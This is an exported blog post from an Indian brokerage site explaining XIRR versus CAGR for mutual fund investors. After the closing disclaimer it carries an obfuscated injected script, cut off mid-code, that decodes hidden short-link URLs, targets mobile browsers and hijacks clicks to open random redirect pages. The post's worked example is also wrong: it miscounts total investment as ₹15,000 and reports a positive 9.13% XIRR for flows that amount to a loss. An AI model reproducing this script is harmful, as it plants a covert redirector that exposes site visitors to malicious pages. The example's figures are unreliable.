{"id":15171,"date":"2025-10-07T06:52:37","date_gmt":"2025-10-07T06:52:37","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15171"},"modified":"2025-10-07T06:58:18","modified_gmt":"2025-10-07T06:58:18","slug":"what-is-xirr-in-mutual-fund","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/","title":{"rendered":"XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#What_Is_XIRR_In_Mutual_Funds\" >What Is XIRR In Mutual Funds?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#Why_is_XIRR_Important_For_Your_Mutual_Fund_Investments\" >Why is XIRR Important For Your Mutual Fund Investments?&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#XIRR_Formula\" >XIRR Formula<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#XIRR_vs_CAGR_%E2%80%93_How_Do_They_Actually_Differ\" >XIRR vs CAGR &#8211; How Do They Actually Differ?&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#Why_You_Should_Not_Ignore_Your_XIRR_While_Tracking_Mutual_Fund_Returns\" >Why You Should Not Ignore Your XIRR While Tracking Mutual Fund Returns?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#Limitations_of_XIRR_in_Mutual_Funds\" >Limitations of XIRR in Mutual Funds<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#Recommendations_for_Evaluating_XIRR_Results\" >Recommendations for Evaluating XIRR Results<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#_Conclusion\" >&nbsp; Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/what-is-xirr-in-mutual-fund\/#XIRR_in_Mutual_Funds_%E2%80%93_FAQs\" >XIRR in Mutual Funds \u2013 FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>XIRR Meaning &#8211; How It Helps You Know Your Real Returns\u00a0<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a mutual fund investor, you&#8217;ve most likely seen terms like XIRR and CAGR on your dashboards. What do they mean? Are they really important for your investments? What is the real XIRR meaning, and how is it different from CAGR? Instead of guessing your returns, understanding the meaning of XIRR can help you make the right mutual fund investment decisions.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s begin!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-xirr-in-mutual-funds\"><span class=\"ez-toc-section\" id=\"What_Is_XIRR_In_Mutual_Funds\"><\/span>What Is XIRR In Mutual Funds?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>XIRR meaning and full form<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XIRR full form is Extended Internal Rate of Return. It is a metric that you can use to calculate your investment returns in the long run. It helps you know the estimated returns on your SIP and lump-sum investments.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Unlike other performance indicators, XIRR considers both the amount and exact timing of all investment and redemption activity.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This makes XIRR an invaluable tool for accurately evaluating the performance of mutual fund investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Most of the investors make the mistake of only looking at the final amount or CAGR.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CAGR tells you how much your investment has grown on an average annual basis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, what exactly is the problem here?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CAGR only works for lump sum investments and ignores the timing of your investments. However, XIRR gives you the real return by considering each SIP or top-up and its dates.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It tells you your actual annual returns based on the timing of every single transaction.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-is-xirr-important-for-your-mutual-fund-investments-nbsp\"><span class=\"ez-toc-section\" id=\"Why_is_XIRR_Important_For_Your_Mutual_Fund_Investments\"><\/span>Why is XIRR Important For Your Mutual Fund Investments?&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here is why XIRR holds great relevance:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-importance-of-xirr-for-sip-investments\">Importance of XIRR for SIP Investments<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you are one of those investors who prefer SIPs, XIRR is extremely important because it takes into account each investment&#8217;s date and amount. Unlike CAGR, which assumes a single lump sum invested over a period, XIRR shows your true annualised return by adjusting for every deposit made at different times.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This helps you accurately see how your money has grown. You can use it as a means to compare the effectiveness of different funds.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-importance-of-xirr-for-lump-sum-investments\">Importance of XIRR for Lump Sum Investments<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Even for lump sum investments, XIRR can be useful if you make any additional deposits or withdrawals during your investment period.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XIRR calculates the actual return on your money by taking into account the transactions and their timing. If you invest a lump sum once and hold it without any changes, CAGR and XIRR will generally give the same result.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, if you add to or redeem part of your investment at different times, XIRR becomes the right way to track your true gains.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using XIRR ensures you get an accurate picture of your portfolio performance. This is regardless of how many transactions you make.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/what-is-nav\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Learn What NAV Meaning in a Mutual Fund<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-importance-of-xirr-for-mutual-funds\"><br>Importance of XIRR for Mutual Funds<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Investors can obtain an exact understanding of their mutual fund returns by using the Extended Internal Rate of Return (XIRR). This powerful metric exceeds simple annualised figures by considering the specific dates and amounts of all cash flows, providing a deeper understanding of actual performance and helping in informed decision-making.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-xirr-formula\"><span class=\"ez-toc-section\" id=\"XIRR_Formula\"><\/span>XIRR Formula<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>How is XIRR calculated?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The XIRR formula comes up with an adjusted annualised return by taking into account the timing and amount of all SIP contributions and withdrawals, offering an infallible representation of your investment&#8217;s overall performance.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>How XIRR works (with an example)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Assume that you invest in a mutual fund through a SIP with the following transactions:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00b7 &nbsp; January 1, 2023: Initial investment of \u20b910,000<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00b7 &nbsp; July 1, 2023: Additional investment of \u20b95,000<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00b7 &nbsp; January 1, 2024: Additional investment of \u20b95,000<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00b7 &nbsp; July 1, 2024: Received a dividend of \u20b91,000<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00b7 &nbsp; April 1, 2025: Current value of your investment is \u20b918,000<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Calculating XIRR<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To <strong>calculate XIRR<\/strong>, you would list all cash inflows and outflows (investments as negative, dividends\/current value as positive) with their corresponding dates in a spreadsheet like Excel.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>Date<\/td><td>Cash Flow (\u20b9)<\/td><\/tr><tr><td>1\/1\/2023<\/td><td>-10,000<\/td><\/tr><tr><td>7\/1\/2023<\/td><td>-5,000<\/td><\/tr><tr><td>1\/1\/2024<\/td><td>-5,000<\/td><\/tr><tr><td>7\/1\/2024<\/td><td>1,000<\/td><\/tr><tr><td>4\/1\/2025<\/td><td>18,000<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Then, using the XIRR function (e.g., =XIRR(B2:B6, A2:A6) in Excel), you get an approximate XIRR of 9.13% per year.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><br><\/strong><strong>Interpreting the results<\/strong><strong><br><\/strong>This 9.13% XIRR signifies the average annual growth rate of your investment, considering the timing of each transaction. It&#8217;s a more accurate reflection of your actual return compared to simply looking at the overall percentage gain, which in this case, would be 20% (\u20b918,000 final value &#8211; \u20b915,000 total investment), ignoring the investment timeline.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In essence, XIRR offers a far realistic assessment of investment performance, particularly valuable for investments involving multiple transactions over time. You can also use the XIRR calculator.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-xirr-vs-cagr-how-do-they-actually-differ-nbsp\"><span class=\"ez-toc-section\" id=\"XIRR_vs_CAGR_%E2%80%93_How_Do_They_Actually_Differ\"><\/span><strong>XIRR vs CAGR<\/strong><strong> &#8211; How Do They Actually Differ?&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>FEATURE<\/strong><\/td><td><strong>CAGR<\/strong><\/td><td><strong>XIRR<\/strong><\/td><\/tr><tr><td>Definition&nbsp;&nbsp;<\/td><td>It is an average annual return that we calculate<\/td><td>It is an extended internal rate of return&nbsp;&nbsp;<\/td><\/tr><tr><td>Calculation focus<\/td><td>Starting amount, how long you invest it for, and its value at the end.<\/td><td>Considers every inflow and outflow of cash<\/td><\/tr><tr><td>Suitability<\/td><td>Well-suited for lump-sum investors.<\/td><td>Perfect for investments similar to SIPs.<\/td><\/tr><tr><td>Calculation method<\/td><td>Compounded annual growth rate<\/td><td>The average return produced by every cash flow during the investment tenure<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-you-should-not-ignore-your-xirr-while-tracking-mutual-fund-returns\"><span class=\"ez-toc-section\" id=\"Why_You_Should_Not_Ignore_Your_XIRR_While_Tracking_Mutual_Fund_Returns\"><\/span>Why You Should Not Ignore Your XIRR While Tracking Mutual Fund Returns?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The benefits of XIRR for investors<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As an investor, accurately tracking the performance of your investments is critical for reaching your financial goals and making informed decisions. XIRR: Extended Internal Rate of Return (XIRR) is a powerful tool that offers valuable advantages in this regard.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XIRR reflects the exact timing and amount of each investment and withdrawal, offering greater detail of your actual returns, unlike traditional return calculations.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">XIRR is compatible for evaluating the performance of Systematic Investment Plans (SIPs) and other investments involving multiple contributions and withdrawals at unpredictable intervals, because it constitutes the unique holding period and returns for each transaction, unlike CAGR, which assumes a lump sum investment.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-limitations-of-xirr-in-mutual-funds\"><span class=\"ez-toc-section\" id=\"Limitations_of_XIRR_in_Mutual_Funds\"><\/span>Limitations of XIRR in Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While XIRR (Extended Internal Rate of Return) is a significant tool for calculating returns, it has some drawbacks:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Needs very exact information<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">XIRR requires precise details about every investment, withdrawals, etc., including the exact date and amount.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Even small errors in this data can greatly impact the accuracy of the final XIRR number.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Easily affected by small changes<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">A minor change in the timing or amount of a cash flow can lead to a marked change in the calculated XIRR.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This sensitivity complicates comparing different investments solely based on their XIRR figures.<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Not always the right fit<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">While XIRR is excellent for investments with fluctuating money flows (like real estate or private equity), it might not be the most suitable for investments with very consistent and predictable cash flows, such as bonds or annuities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In those cases, other metrics like IRR (Internal Rate of Return) might be simpler and equally effective.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-recommendations-for-evaluating-xirr-results\"><span class=\"ez-toc-section\" id=\"Recommendations_for_Evaluating_XIRR_Results\"><\/span>Recommendations for Evaluating XIRR Results<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Knowing how to interpret XIRR guides you in making smarter investment decisions. Pay attention to these key points.<br><br><strong>1. Positive XIRR<\/strong><br>A positive XIRR suggests your investment has resulted in gains. Generally, a higher XIRR points to an enhanced performance.<br><br><strong>2. Consistency Is Valuable\u00a0<\/strong><br>If your XIRR remains consistently positive across multiple time spans, it shows the fund\u2019s tenacity and long-term potential.<br><br><strong>3. Negative XIRR<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A negative XIRR refers to a loss. It\u2019s crucial to inspect the causes and review your investment method if needed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-nbsp-conclusion\"><span class=\"ez-toc-section\" id=\"_Conclusion\"><\/span>&nbsp;<br>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Far from being just a financial term, XIRR serves as your personalised performance report. This important percentage on your dashboard provides clear guidance for making the most of your investment success.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-xirr-in-mutual-funds-faqs\"><span class=\"ez-toc-section\" id=\"XIRR_in_Mutual_Funds_%E2%80%93_FAQs\"><\/span><strong>XIRR in Mutual Funds \u2013 FAQs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1759819282006\"><strong class=\"schema-faq-question\"><strong>1. What is the meaning of XIRR in mutual funds?<\/strong><\/strong> <p class=\"schema-faq-answer\">XIRR stands for Extended Internal Rate of Return. It determines your actual annual returns based on when and how much you invested.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819284101\"><strong class=\"schema-faq-question\"><strong>2. How is XIRR different from CAGR?<\/strong><\/strong> <p class=\"schema-faq-answer\">\u00a0While CAGR presumes a single investment made at the start, XIRR accounts for multiple investments made at different times. It&#8217;s a meticulous return metric for SIPs or staggered investments.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819313006\"><strong class=\"schema-faq-question\"><strong>3. Why is XIRR important for SIP investors?<\/strong><\/strong> <p class=\"schema-faq-answer\">\u00a0SIPs involve monthly contributions, each with its own individual date and duration. XIRR collects all those cash flows to show your personalised, time-sensitive return.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819313486\"><strong class=\"schema-faq-question\"><strong>4. Does XIRR change over time?<\/strong><\/strong> <p class=\"schema-faq-answer\">\u00a0Yes, XIRR is dynamic. It updates as you make new investments, redeem funds, or as market values change, equipping you with a real-time view of your portfolio\u2019s performance.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819333824\"><strong class=\"schema-faq-question\"><strong>5. Is a higher XIRR always better?<\/strong><\/strong> <p class=\"schema-faq-answer\">Generally, yes, a higher XIRR means better returns. But it&#8217;s significant to compare it with your financial goals, time horizon and risk appetite as well.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819334383\"><strong class=\"schema-faq-question\">6<strong>. Is XIRR shown on mutual fund platforms?<\/strong><\/strong> <p class=\"schema-faq-answer\">Yes. Most platforms show your XIRR directly in your portfolio view, so you can monitor your real return with ease.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1759819365175\"><strong class=\"schema-faq-question\">7<strong>. What is a good XIRR in SIP investments?<\/strong><\/strong> <p class=\"schema-faq-answer\">\u00a0A good XIRR depends on market conditions and your investment timespan. Over the long term, an XIRR of 10\u201312% is generally considered healthy for equity mutual funds.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const 